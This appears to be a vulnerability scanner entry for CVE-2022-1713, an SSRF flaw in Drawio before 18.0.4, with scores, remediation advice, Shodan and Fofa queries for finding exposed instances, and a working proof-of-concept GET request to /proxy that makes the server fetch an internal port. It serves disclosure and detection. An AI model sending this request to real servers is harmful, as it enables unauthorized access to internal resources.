| Title | Drawio <18.0.4 - Server-Side Request Forgery |
|---|---|
| Author | pikpikcu |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources and potential data leakage. |
| Remediation | Upgrade Drawio to version 18.0.4 or later to mitigate the SSRF vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.89884 |
| CVE ID | CVE-2022-1713 |
| CWE ID | CWE-918 |
| Shodan Query | http.title:"Flowchart Maker"http.title:"flowchart maker" |
| Fofa Query | title="flowchart maker" |
| Tags | cve cve2022 drawio ssrf oss huntr diagrams vuln |
Drawio prior to 18.0.4 is vulnerable to server-side request forgery. An attacker can make a request as the server and read its contents. This can lead to a leak of sensitive information.
GET /proxy?url=http%3a//0:8080/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1713.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-1713.pcap
N/AN/A